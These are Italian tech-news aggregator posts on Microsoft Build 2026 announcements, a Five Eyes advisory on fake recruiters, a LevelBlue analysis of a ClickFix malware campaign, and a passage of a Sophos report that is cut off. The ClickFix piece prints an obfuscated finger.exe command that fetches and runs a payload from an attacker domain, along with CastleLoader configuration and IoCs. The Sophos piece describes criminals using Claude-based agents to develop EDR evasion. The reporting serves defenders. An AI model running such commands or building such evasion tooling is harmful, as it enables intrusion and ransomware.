Spcnet.it

2026-06-06 08:57:37

Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes

A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?

Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar

ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)

Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade

Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft

Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS

ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking

Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

• Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
• Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
• Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.

Conclusione

Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026

What's new in Azure Kubernetes Service at Microsoft Build 2026 | Microsoft Community Hub

A year ago, teams were still asking whether Kubernetes belonged anywhere near their AI workloads. That question has mostly been answered as the community...

^{coryskimming (TECHCOMMUNITY.MICROSOFT.COM)}

Spcnet.it

2026-06-05 18:08:42

Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise

Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero

A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

• MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
• MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
• MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
• MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
• Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise

Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati

Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft

I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

• GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
• Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
• Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
• Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.

Trust, governance e sovranità dei dati

Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin

Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

• Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
• Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
• Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
• AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.

---

Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News

Microsoft launches MAI frontier models and custom agents for enterprise workloads – 4sysops

Microsoft has introduced seven new MAI frontier models designed for image processing, transcription, voice generation, and reasoning. The lineup includes MAI Th

^{IT News (4sysops)}

Spcnet.it

2026-06-05 18:08:25

GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant

A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più

Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization

L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

1. Si apre il progetto o la solution da migrare in Visual Studio.
2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati

L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target

Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

• ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
• Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
• Azure Functions: aggiornamento al modello isolated worker process.
• Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.

Conversione SDK-style

Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire

Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti

L’agente gestisce anche scenari più circoscritti come:

• Migrazione da Newtonsoft.Json a System.Text.Json.
• Aggiornamento di Microsoft.Data.SqlClient.
• Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.

Pre-build error checking in Visual Studio 2026

Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution

Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare

Per usare GitHub Copilot App Modernization è necessario:

1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise

La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione

Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn

What's Coming Next in Visual Studio: Our Microsoft Build 2026 Announcements - Visual Studio Blog

Microsoft Build kicks off today in San Francisco, June 2 and 3. If you cannot make it in person, the sessions are streaming online for free, and I want to

^{Mads Kristensen (Visual Studio Blog)}

(in)sicurezza digitale

2026-06-05 18:09:55

Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino

Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence

Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”

Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata

Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare

L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni

Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek

Five Eyes: Chinese Spies Target Government, Military Staff With Fake Job Opportunities

Posing as recruiters on online platforms, Chinese intelligence officers target personnel with access to classified or privileged information.

^{Ionut Arghire (SecurityWeek)}

(in)sicurezza digitale

2026-06-05 18:10:35

ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python

Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed

L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin

L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking

Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

• CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
• IronPython: %LocalAppData%\IronPython.3.4.2.pdf

CastleLoader: framework MaaS con cifratura ChaCha20

Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket

Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori

Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026

ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery

The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026.

^{King Orande and Cris Tomboc (Trustwave Holdings, Inc.)}

(in)sicurezza digitale

2026-06-05 05:34:10

Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve

Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta

L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP

Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati

